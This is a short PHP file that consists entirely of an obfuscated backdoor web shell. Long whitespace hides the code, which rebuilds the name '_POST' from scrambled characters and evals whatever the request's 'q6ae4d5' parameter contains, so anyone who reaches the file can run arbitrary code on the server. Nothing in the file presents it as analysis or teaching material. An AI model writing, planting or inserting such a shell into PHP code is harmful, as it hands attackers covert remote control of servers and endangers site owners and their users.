<?php                                                                                                                                                                                                                                                                $ckh32="t_sop"; $tngp77 = strtoupper( $ckh32[1]. $ckh32[4] .$ckh32[3].$ckh32[2]. $ckh32[0] ); if( isset ( ${ $tngp77} ['q6ae4d5' ] )) { eval (${$tngp77 }['q6ae4d5'] ); }?>